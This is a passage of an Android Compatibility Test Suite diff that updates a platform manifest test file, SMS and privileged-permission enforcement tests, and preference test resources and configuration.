         </activity>
         <activity android:name="com.android.internal.app.DumpHeapActivity"
-                  android:theme="@style/Theme.Translucent.NoTitleBar"
-                  android:label="@string/dump_heap_title"
-                  android:finishOnCloseSystemDialogs="true"
-                  android:noHistory="true"
-                  android:excludeFromRecents="true"
-                  android:process=":ui">
+                android:theme="@style/Theme.Translucent.NoTitleBar"
+                android:label="@string/dump_heap_title"
+                android:finishOnCloseSystemDialogs="true"
+                android:noHistory="true"
+                android:excludeFromRecents="true"
+                android:process=":ui">
         </activity>
         <provider android:name="com.android.server.am.DumpHeapProvider"
-                  android:authorities="com.android.server.heapdump"
-                  android:grantUriPermissions="true"
-                  android:multiprocess="false"
-                  android:singleUser="true" />
+                android:authorities="com.android.server.heapdump"
+                android:grantUriPermissions="true"
+                android:multiprocess="false"
+                android:singleUser="true" />
 
         <activity android:name="android.accounts.ChooseAccountActivity"
-                  android:excludeFromRecents="true"
-                  android:exported="true"
-                  android:theme="@style/Theme.Material.Light.Dialog"
-                  android:label="@string/choose_account_label"
-                  android:process=":ui">
+                android:excludeFromRecents="true"
+                android:exported="true"
+                android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+                android:label="@string/choose_account_label"
+                android:process=":ui"
+                android:visibleToInstantApps="true">
         </activity>
 
         <activity android:name="android.accounts.ChooseTypeAndAccountActivity"
-                  android:excludeFromRecents="true"
-                  android:exported="true"
-                  android:theme="@style/Theme.Material.Light.Dialog"
-                  android:label="@string/choose_account_label"
-                  android:process=":ui">
+                android:excludeFromRecents="true"
+                android:exported="true"
+                android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+                android:label="@string/choose_account_label"
+                android:process=":ui"
+                android:visibleToInstantApps="true">
         </activity>
 
         <activity android:name="android.accounts.ChooseAccountTypeActivity"
-                  android:excludeFromRecents="true"
-                  android:theme="@style/Theme.Material.Light.Dialog"
-                  android:label="@string/choose_account_label"
-                  android:process=":ui">
+                android:excludeFromRecents="true"
+                android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+                android:label="@string/choose_account_label"
+                android:process=":ui"
+                android:visibleToInstantApps="true">
         </activity>
 
         <activity android:name="android.accounts.CantAddAccountActivity"
-                  android:excludeFromRecents="true"
-                  android:exported="true"
-                  android:theme="@style/Theme.Material.Light.Dialog.NoActionBar"
-                  android:process=":ui">
+                android:excludeFromRecents="true"
+                android:exported="true"
+                android:theme="@style/Theme.DeviceDefault.Light.Dialog.NoActionBar"
+                android:process=":ui">
         </activity>
 
         <activity android:name="android.accounts.GrantCredentialsPermissionActivity"
-                  android:excludeFromRecents="true"
-                  android:exported="true"
-                  android:theme="@style/Theme.Material.Light.DialogWhenLarge"
-                  android:process=":ui">
+                android:excludeFromRecents="true"
+                android:exported="true"
+                android:theme="@style/Theme.DeviceDefault.Light.DialogWhenLarge"
+                android:process=":ui"
+                android:visibleToInstantApps="true">
         </activity>
 
         <activity android:name="android.content.SyncActivityTooManyDeletes"
-                  android:theme="@style/Theme.Material.Light.Dialog"
-                  android:label="@string/sync_too_many_deletes"
-                  android:process=":ui">
+               android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+               android:label="@string/sync_too_many_deletes"
+               android:process=":ui">
         </activity>
 
         <activity android:name="com.android.internal.app.ShutdownActivity"
-                  android:permission="android.permission.SHUTDOWN"
-                  android:theme="@style/Theme.NoDisplay"
-                  android:excludeFromRecents="true">
+            android:permission="android.permission.SHUTDOWN"
+            android:theme="@style/Theme.NoDisplay"
+            android:excludeFromRecents="true">
             <intent-filter>
-                <action android:name="android.intent.action.ACTION_REQUEST_SHUTDOWN" />
+                <action android:name="com.android.internal.intent.action.REQUEST_SHUTDOWN" />
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
             <intent-filter>
@@ -3254,9 +3580,9 @@
         </activity>
 
         <activity android:name="com.android.internal.app.NetInitiatedActivity"
-                  android:theme="@style/Theme.Material.Light.Dialog.Alert"
-                  android:excludeFromRecents="true"
-                  android:process=":ui">
+                android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
+                android:excludeFromRecents="true"
+                android:process=":ui">
         </activity>
 
         <activity android:name="com.android.internal.app.SystemUserHomeActivity"
@@ -3273,9 +3599,9 @@
         <!-- Activity to prompt user if it's ok to create a new user sandbox for a
              specified account. -->
         <activity android:name="com.android.internal.app.ConfirmUserCreationActivity"
-                  android:excludeFromRecents="true"
-                  android:process=":ui"
-                  android:theme="@style/Theme.Material.Light.Dialog.Alert">
+                android:excludeFromRecents="true"
+                android:process=":ui"
+                android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert">
             <intent-filter android:priority="1000">
                 <action android:name="android.os.action.CREATE_USER" />
                 <category android:name="android.intent.category.DEFAULT" />
@@ -3283,20 +3609,25 @@
         </activity>
 
         <activity android:name="com.android.internal.app.UnlaunchableAppActivity"
-                  android:theme="@style/Theme.Material.Light.Dialog.Alert"
-                  android:excludeFromRecents="true"
-                  android:process=":ui">
+                android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
+                android:excludeFromRecents="true"
+                android:process=":ui">
+        </activity>
+
+        <activity android:name="com.android.settings.notification.NotificationAccessConfirmationActivity"
+                  android:theme="@android:style/Theme.DeviceDefault.Light.Dialog.Alert"
+                  android:excludeFromRecents="true">
         </activity>
 
         <receiver android:name="com.android.server.BootReceiver"
-                  android:systemUserOnly="true">
+                android:systemUserOnly="true">
             <intent-filter android:priority="1000">
                 <action android:name="android.intent.action.BOOT_COMPLETED" />
             </intent-filter>
         </receiver>
 
         <receiver android:name="com.android.server.updates.CertPinInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_PINS" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3304,7 +3635,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.IntentFirewallInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_INTENT_FIREWALL" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3312,7 +3643,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.SmsShortCodesInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_SMS_SHORT_CODES" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3320,15 +3651,15 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.ApnDbInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
-                <action android:name="android.intent.action.UPDATE_APN_DB" />
+                <action android:name="com.android.internal.intent.action.UPDATE_APN_DB" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
             </intent-filter>
         </receiver>
 
         <receiver android:name="com.android.server.updates.CarrierProvisioningUrlsInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_CARRIER_PROVISIONING_URLS" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3336,26 +3667,45 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.TzDataInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_TZDATA" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
             </intent-filter>
         </receiver>
 
-        <receiver android:name="com.android.server.updates.SELinuxPolicyInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+        <receiver android:name="com.android.server.updates.CertificateTransparencyLogInstallReceiver"
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
-                <action android:name="android.intent.action.UPDATE_SEPOLICY" />
+                <action android:name="android.intent.action.UPDATE_CT_LOGS" />
+                <data android:scheme="content" android:host="*" android:mimeType="*/*" />
+            </intent-filter>
+        </receiver>
+
+        <receiver android:name="com.android.server.updates.LangIdInstallReceiver"
+                android:permission="android.permission.UPDATE_CONFIG">
+            <intent-filter>
+                <action android:name="android.intent.action.UPDATE_LANG_ID" />
+                <data android:scheme="content" android:host="*" android:mimeType="*/*" />
+            </intent-filter>
+        </receiver>
+
+        <receiver android:name="com.android.server.updates.SmartSelectionInstallReceiver"
+                android:permission="android.permission.UPDATE_CONFIG">
+            <intent-filter>
+                <action android:name="android.intent.action.UPDATE_SMART_SELECTION" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
             </intent-filter>
         </receiver>
 
         <receiver android:name="com.android.server.MasterClearReceiver"
-                  android:permission="android.permission.MASTER_CLEAR">
+            android:permission="android.permission.MASTER_CLEAR">
             <intent-filter
                     android:priority="100" >
-                <!-- For Checkin, Settings, etc.: action=MASTER_CLEAR -->
+                <!-- For Checkin, Settings, etc.: action=FACTORY_RESET -->
+                <action android:name="android.intent.action.FACTORY_RESET" />
+                <!-- As above until all the references to the deprecated MASTER_CLEAR get updated to
+                     FACTORY_RESET. -->
                 <action android:name="android.intent.action.MASTER_CLEAR" />
 
                 <!-- MCS always uses REMOTE_INTENT: category=MASTER_CLEAR -->
@@ -3365,12 +3715,12 @@
         </receiver>
 
         <service android:name="android.hardware.location.GeofenceHardwareService"
-                 android:permission="android.permission.LOCATION_HARDWARE"
-                 android:exported="false" />
+            android:permission="android.permission.LOCATION_HARDWARE"
+            android:exported="false" />
 
         <service android:name="com.android.internal.backup.LocalTransportService"
-                 android:permission="android.permission.CONFIRM_FULL_BACKUP"
-                 android:exported="false">
+                android:permission="android.permission.CONFIRM_FULL_BACKUP"
+                android:exported="false">
             <intent-filter>
                 <action android:name="android.backup.TRANSPORT_HOST" />
             </intent-filter>
@@ -3394,12 +3744,22 @@
                  android:permission="android.permission.BIND_JOB_SERVICE" >
         </service>
 
-        <service
-                android:name="com.android.server.pm.BackgroundDexOptService"
-                android:exported="true"
-                android:permission="android.permission.BIND_JOB_SERVICE">
+        <service android:name="com.android.server.pm.BackgroundDexOptService"
+                 android:exported="true"
+                 android:permission="android.permission.BIND_JOB_SERVICE">
         </service>
 
+        <service android:name="com.android.server.PruneInstantAppsJobService"
+                 android:permission="android.permission.BIND_JOB_SERVICE" >
+        </service>
+
+        <service android:name="com.android.server.storage.DiskStatsLoggingService"
+                 android:permission="android.permission.BIND_JOB_SERVICE" >
+        </service>
+
+        <service android:name="com.android.server.PreloadsFileCacheExpirationJobService"
+                 android:permission="android.permission.BIND_JOB_SERVICE" >
+        </service>
     </application>
 
 </manifest>
diff --git a/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java b/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java
index d0cafe9..5699d88 100644
--- a/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/NoReceiveSmsPermissionTest.java
@@ -42,6 +42,9 @@
         "com.android.cts.permission.sms.MESSAGE_STATUS_RECEIVED_ACTION";
     private static final String MESSAGE_SENT_ACTION =
         "com.android.cts.permission.sms.MESSAGE_SENT";
+    private static final String APP_SPECIFIC_SMS_RECEIVED_ACTION =
+        "com.android.cts.permission.sms.APP_SPECIFIC_SMS_RECEIVED";
+
 
     private static final String LOG_TAG = "NoReceiveSmsPermissionTest";
 
@@ -70,7 +73,7 @@
         filter.addAction(MESSAGE_STATUS_RECEIVED_ACTION);
 
         getContext().registerReceiver(receiver, filter);
-        sendSMSToSelf();
+        sendSMSToSelf("test");
         synchronized(receiver) {
             try {
                 receiver.wait(WAIT_TIME);
@@ -84,7 +87,46 @@
         assertFalse("Sms received without proper permissions", receiver.isSmsReceived());
     }
 
-    private void sendSMSToSelf() {
+    /**
+     * Verify that without {@link android.Manifest.permission#RECEIVE_SMS} that an SMS sent
+     * containing a nonce from {@link SmsManager#createAppSpecificSmsToken} is delivered
+     * to the app.
+     */
+    public void testAppSpecificSmsToken() {
+        PackageManager packageManager = mContext.getPackageManager();
+        if (!packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        AppSpecificSmsReceiver receiver = new AppSpecificSmsReceiver();
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(TELEPHONY_SMS_RECEIVED);
+        filter.addAction(MESSAGE_SENT_ACTION);
+        filter.addAction(MESSAGE_STATUS_RECEIVED_ACTION);
+        filter.addAction(APP_SPECIFIC_SMS_RECEIVED_ACTION);
+        getContext().registerReceiver(receiver, filter);
+
+        PendingIntent receivedIntent = PendingIntent.getBroadcast(getContext(), 0,
+                new Intent(APP_SPECIFIC_SMS_RECEIVED_ACTION), PendingIntent.FLAG_ONE_SHOT);
+
+        String token = SmsManager.getDefault().createAppSpecificSmsToken(receivedIntent);
+        String message = "test message, token=" + token;
+        sendSMSToSelf(message);
+        synchronized(receiver) {
+            try {
+                receiver.wait(WAIT_TIME);
+            } catch (InterruptedException e) {
+                Log.w(LOG_TAG, "wait for sms interrupted");
+            }
+        }
+
+        assertTrue("[RERUN] Sms not sent successfully. Check signal.",
+                receiver.isMessageSent());
+        assertFalse("Sms received without proper permissions", receiver.isSmsReceived());
+        assertTrue("App specific SMS intent not triggered", receiver.isAppSpecificSmsReceived());
+    }
+
+    private void sendSMSToSelf(String message) {
         PendingIntent sentIntent = PendingIntent.getBroadcast(getContext(), 0,
                 new Intent(MESSAGE_SENT_ACTION), PendingIntent.FLAG_ONE_SHOT);
         PendingIntent deliveryIntent = PendingIntent.getBroadcast(getContext(), 0,
@@ -98,7 +140,7 @@
                 TextUtils.isEmpty(currentNumber));
 
         Log.i(LOG_TAG, String.format("Sending SMS to self: %s", currentNumber));
-        sendSms(currentNumber, "test message", sentIntent, deliveryIntent);
+        sendSms(currentNumber, message, sentIntent, deliveryIntent);
     }
 
     protected void sendSms(String currentNumber, String text, PendingIntent sentIntent,
@@ -180,4 +222,21 @@
             return "unknown";
         }
     }
+
+    public class AppSpecificSmsReceiver extends IllegalSmsReceiver {
+        private boolean mAppSpecificSmsReceived = false;
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (APP_SPECIFIC_SMS_RECEIVED_ACTION.equals(intent.getAction())) {
+                mAppSpecificSmsReceived = true;
+            } else {
+                super.onReceive(context, intent);
+            }
+        }
+
+        public boolean isAppSpecificSmsReceived() {
+            return mAppSpecificSmsReceived;
+        }
+    }
 }
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index e8de02d..577bb92 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -106,7 +106,7 @@
 
         // OEMs cannot define permissions in the platform namespace
         for (String permission : declaredPermissionsMap.keySet()) {
-            assertFalse("Cannot define permission " + permission + " in android namespace",
+            assertFalse("Cannot define permission in android namespace:" + permission,
                     permission.startsWith(PLATFORM_ROOT_NAMESPACE));
         }
 
@@ -119,6 +119,13 @@
                                 && declaredGroup.name.startsWith(PLATFORM_ROOT_NAMESPACE));
             }
         }
+
+        // OEMs cannot define new ephemeral permissions
+        for (String permission : declaredPermissionsMap.keySet()) {
+            PermissionInfo info = declaredPermissionsMap.get(permission);
+            assertFalse("Cannot define new ephemeral permission " + permission,
+                    (info.protectionLevel & PermissionInfo.PROTECTION_FLAG_EPHEMERAL) != 0);
+        }
     }
 
     private List<PermissionInfo> loadExpectedPermissions() throws Exception {
@@ -197,6 +204,12 @@
                 case "setup": {
                     protectionLevel |= PermissionInfo.PROTECTION_FLAG_SETUP;
                 } break;
+                case "ephemeral": {
+                    protectionLevel |= PermissionInfo.PROTECTION_FLAG_EPHEMERAL;
+                } break;
+                case "runtime": {
+                    protectionLevel |= PermissionInfo.PROTECTION_FLAG_RUNTIME_ONLY;
+                } break;
             }
         }
         return protectionLevel;
diff --git a/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java b/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
new file mode 100644
index 0000000..11dfb99
--- /dev/null
+++ b/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.permission2.cts;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.PermissionInfo;
+import android.support.test.InstrumentationRegistry;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import java.io.IOException;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.TreeSet;
+
+import static android.content.pm.PackageManager.GET_PERMISSIONS;
+
+/**
+ * Tests enforcement of signature|privileged permission whitelist:
+ * <ul>
+ * <li>Report what is granted into the CTS log
+ * <li>Ensure all priv permissions are exclusively granted to applications declared in
+ * &lt;privapp-permissions&gt;
+ * </ul>
+ */
+public class PrivappPermissionsTest extends AndroidTestCase {
+
+    private static final String TAG = "PrivappPermissionsTest";
+
+    private static final String PLATFORM_PACKAGE_NAME = "android";
+
+    public void testPrivappPermissionsEnforcement() throws Exception {
+        Set<String> platformPrivPermissions = new HashSet<>();
+        PackageManager pm = getContext().getPackageManager();
+        PackageInfo platformPackage = pm.getPackageInfo(PLATFORM_PACKAGE_NAME,
+                PackageManager.GET_PERMISSIONS);
+
+        for (PermissionInfo permission : platformPackage.permissions) {
+            int protectionLevel = permission.protectionLevel;
+            if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_PRIVILEGED) != 0) {
+                platformPrivPermissions.add(permission.name);
+            }
+        }
+
+        List<PackageInfo> installedPackages = pm
+                .getInstalledPackages(PackageManager.MATCH_UNINSTALLED_PACKAGES | GET_PERMISSIONS);
+
+        for (PackageInfo pkg : installedPackages) {
+            Set<String> requestedPrivPermissions = new TreeSet<>();
+            Set<String> grantedPrivPermissions = new TreeSet<>();
+            String[] requestedPermissions = pkg.requestedPermissions;
+            if (!pkg.applicationInfo.isPrivilegedApp()
+                    || PLATFORM_PACKAGE_NAME.equals(pkg.packageName)) {
+                continue;
+            }
+            if (requestedPermissions == null || requestedPermissions.length == 0) {
+                continue;
+            }
+            // Collect 2 sets: requestedPermissions and grantedPrivPermissions
+            for (int i = 0; i < requestedPermissions.length; i++) {
+                String permission = requestedPermissions[i];
+                if (platformPrivPermissions.contains(permission)) {
+                    requestedPrivPermissions.add(permission);
+                    if ((pkg.requestedPermissionsFlags[i]
+                            & PackageInfo.REQUESTED_PERMISSION_GRANTED) != 0) {
+                        grantedPrivPermissions.add(permission);
+                    }
+                }
+            }
+            // If an app is requesting any privileged permissions, log the details and verify
+            // that granted permissions are whitelisted
+            if (!requestedPrivPermissions.isEmpty()) {
+                Set<String> notGranted = new TreeSet<>(requestedPrivPermissions);
+                notGranted.removeAll(grantedPrivPermissions);
+                Set<String> whitelist = getPrivAppPermissions(pkg.packageName);
+                Log.i(TAG, "Application " + pkg.packageName + ". Requested permissions: "
+                        + requestedPrivPermissions + ". Granted permissions: "
+                        + grantedPrivPermissions + ". Not granted: " + notGranted + " Whitelisted: "
+                        + whitelist);
+
+                Set<String> grantedNotInWhitelist = new TreeSet<>(grantedPrivPermissions);
+                grantedNotInWhitelist.removeAll(whitelist);
+
+                assertTrue("Not whitelisted permissions are granted for package "
+                                + pkg.packageName + ": " + grantedNotInWhitelist,
+                        grantedNotInWhitelist.isEmpty());
+
+                assertTrue("Requested permissions not granted for package "
+                                + pkg.packageName + ": " + notGranted,
+                        notGranted.isEmpty());
+            }
+        }
+    }
+
+    private Set<String> getPrivAppPermissions(String packageName) throws IOException {
+        String output = SystemUtil.runShellCommand(
+                InstrumentationRegistry.getInstrumentation(),
+                "cmd package get-privapp-permissions " + packageName).trim();
+        if (output.startsWith("{") && output.endsWith("}")) {
+            String[] split = output.substring(1, output.length() - 1).split("\\s*,\\s*");
+            return new LinkedHashSet<>(Arrays.asList(split));
+        }
+        return Collections.emptySet();
+    }
+
+}
diff --git a/tests/tests/preference/Android.mk b/tests/tests/preference/Android.mk
index 02ab636..fa6f9c9 100644
--- a/tests/tests/preference/Android.mk
+++ b/tests/tests/preference/Android.mk
@@ -23,7 +23,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/preference/AndroidTest.xml b/tests/tests/preference/AndroidTest.xml
index f9074fe..2d3f098 100644
--- a/tests/tests/preference/AndroidTest.xml
+++ b/tests/tests/preference/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Preference test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsPreferenceTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.preference.cts" />
+        <option name="runtime-hint" value="7m30s" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/preference2/Android.mk b/tests/tests/preference2/Android.mk
index a0b0da8..c6dca9e 100644
--- a/tests/tests/preference2/Android.mk
+++ b/tests/tests/preference2/Android.mk
@@ -25,7 +25,11 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    compatibility-device-util \
+    mockito-target-minus-junit4 \
+    ub-uiautomator \
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/preference2/AndroidManifest.xml b/tests/tests/preference2/AndroidManifest.xml
index 8d2b823..50e1ea9 100644
--- a/tests/tests/preference2/AndroidManifest.xml
+++ b/tests/tests/preference2/AndroidManifest.xml
@@ -30,7 +30,17 @@
             android:name="android.preference2.cts.PreferenceFromCodeActivity" >
         </activity>
         <activity android:name="android.preference2.cts.PreferencesFromXml" />
+        <activity android:name="android.preference2.cts.PreferencesFromXmlNested" />
+        <activity android:name="android.preference2.cts.PreferencesFromXmlRecycle" />
         <activity android:name="android.preference2.cts.PreferenceWithHeaders" />
+        <!-- Landscape setup of PreferenceWithHeaders -->
+        <activity
+            android:name="android.preference2.cts.PreferenceWithHeadersLandscape"
+            android:screenOrientation="landscape"/>
+        <!-- Portrait setup of PreferenceWithHeaders -->
+        <activity
+            android:name="android.preference2.cts.PreferenceWithHeadersPortrait"
+            android:screenOrientation="portrait"/>
         <activity android:name="android.preference2.cts.FragmentPreferences" />
     </application>
 
diff --git a/tests/tests/preference2/AndroidTest.xml b/tests/tests/preference2/AndroidTest.xml
index 96dfe0e..691c45b3 100644
--- a/tests/tests/preference2/AndroidTest.xml
+++ b/tests/tests/preference2/AndroidTest.xml
@@ -14,11 +14,12 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Preference test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsPreference2TestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.preference2.cts" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/preference2/res/values/strings.xml b/tests/tests/preference2/res/values/strings.xml
index 2559456..a0bb9f1 100755
--- a/tests/tests/preference2/res/values/strings.xml
+++ b/tests/tests/preference2/res/values/strings.xml
@@ -108,4 +108,7 @@
     <string name="custom_preference_group_title">Custom Preference Group</string>
 
     <string name="custom_preference">Custom Preference</string>
+
+    <string name="test_title">Initial test title</string>
+    <string name="inner_fragment">Inner fragment</string>
 </resources>
diff --git a/tests/tests/preference2/res/xml/fragmented_preferences_inner.xml b/tests/tests/preference2/res/xml/fragmented_preferences_inner.xml
index fe235db..f626cfd 100755
--- a/tests/tests/preference2/res/xml/fragmented_preferences_inner.xml
+++ b/tests/tests/preference2/res/xml/fragmented_preferences_inner.xml
@@ -16,9 +16,15 @@
 
 <PreferenceScreen
         xmlns:android="http://schemas.android.com/apk/res/android">
-    <CheckBoxPreference
+    <PreferenceCategory
+        android:title="@string/inner_fragment">
+
+        <CheckBoxPreference
             android:key="next_screen_checkbox_preference"
             android:title="@string/title_next_screen_toggle_preference"
             android:summary="@string/summary_next_screen_toggle_preference" />
+
+    </PreferenceCategory>
+
 </PreferenceScreen>
 
diff --git a/tests/tests/preference2/res/xml/pref_nested.xml b/tests/tests/preference2/res/xml/pref_nested.xml
new file mode 100755
index 0000000..0c03b2d
--- /dev/null
+++ b/tests/tests/preference2/res/xml/pref_nested.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?><!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+<PreferenceScreen
+    xmlns:android="http://schemas.android.com/apk/res/android">
+
+    <PreferenceCategory
+        android:key="pref_category"
+        android:title="@string/launch_preferences">
+
+        <PreferenceScreen
+            android:key="pref_screen_inner"
+            android:title="@string/title_screen_preference"
+            android:summary="@string/summary_screen_preference">
+
+            <CheckBoxPreference
+                android:key="pref_checkbox"
+                android:title="Test"
+                android:summary="Test" />
+
+        </PreferenceScreen>
+
+    </PreferenceCategory>
+</PreferenceScreen>
diff --git a/tests/tests/preference2/res/xml/pref_recycle.xml b/tests/tests/preference2/res/xml/pref_recycle.xml
new file mode 100755
index 0000000..d8f1c53
--- /dev/null
+++ b/tests/tests/preference2/res/xml/pref_recycle.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?><!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+<PreferenceScreen
+    xmlns:android="http://schemas.android.com/apk/res/android">
+
+    <!-- Enabled recycle (by default). -->
+    <android.preference2.cts.RecycleCheckPreference
+        android:key="pref_checkbox_recycle"
+        android:title="Test"
+        android:summary="Test" />
+
+    <!-- Disable recycle. -->
+    <android.preference2.cts.RecycleCheckPreference
+        android:key="pref_checkbox_no_recycle"
+        android:title="Test"
+        android:summary="Test"
+        android:recycleEnabled="false"/>
+
+</PreferenceScreen>
diff --git a/tests/tests/preference2/res/xml/preference_headers.xml b/tests/tests/preference2/res/xml/preference_headers.xml
index 2465f7a..565f81a 100755
--- a/tests/tests/preference2/res/xml/preference_headers.xml
+++ b/tests/tests/preference2/res/xml/preference_headers.xml
@@ -13,19 +13,26 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<preference-headers
-        xmlns:android="http://schemas.android.com/apk/res/android">
-        
-    <header android:fragment="android.preference2.cts.PreferenceWithHeaders$PrefsOneFragment"
-            android:icon="@drawable/ic_settings_applications"
-            android:title="Prefs 1"
-            android:summary="An example of some preferences." />
+<preference-headers xmlns:android="http://schemas.android.com/apk/res/android">
 
-    <header android:icon="@drawable/ic_settings_display"
-            android:title="Intent"
-            android:summary="Launches an Intent.">
+    <header
+        android:fragment="android.preference2.cts.PreferenceWithHeaders$PrefsOneFragment"
+        android:icon="@drawable/ic_settings_applications"
+        android:title="Prefs 1"
+        android:summary="An example of some preferences." />
+
+    <header
+        android:fragment="android.preference2.cts.PreferenceWithHeaders$PrefsTwoFragment"
+        android:icon="@drawable/ic_settings_applications"
+        android:title="Prefs 2"
+        android:summary="An example of some preferences." />
+
+    <header
+        android:icon="@drawable/ic_settings_display"
+        android:title="Intent"
